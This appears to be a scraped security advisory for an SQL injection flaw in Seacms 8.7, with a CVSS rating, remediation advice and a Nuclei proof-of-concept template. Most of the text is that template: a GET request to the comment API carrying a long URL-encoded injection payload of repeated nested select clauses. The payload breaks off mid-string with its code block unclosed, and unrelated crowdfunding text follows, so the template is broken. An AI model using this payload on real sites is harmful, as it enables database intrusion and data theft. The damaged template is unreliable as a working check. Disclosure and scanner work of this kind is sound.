Seacms 8.7 Remote SQL Injection (CWE-89) Advisory with Nuclei POC

Vulnerability Overview Vulnerability Name: Seacms 8.7 - SQL Injection Severity: Critical Description: Seacms 8.7 contains an SQL injection vulnerability that attackers may exploit to steal sensitive information from the database. Classification: OWASP Top 10 - A03:2021 Injection CVSS Score: 10 (Critical) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE: CWE-89 Scope of Impact Affected Version: Seacms 8.7 Affected Component: Not specifically identified, but involves SQL injection vulnerability Remediation Recommended Action: Upgrade to the latest version or apply the official patch released by the vendor. Temporary Mitigation: Restrict database access permissions and monitor for anomalous requests. POC Code ```yaml http: - method: GET path: - "{{BaseURL}}/comment/api/index.php?tid=1&page=2&limit=1&[0]=%27%20and%20select%281%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and%28%28select%281%29%29%20and

Goal Reached Thanks to every supporter — we hit 100%!

Seacms 8.7 Remote SQL Injection (CWE-89) Advisory with Nuclei POC

More from this source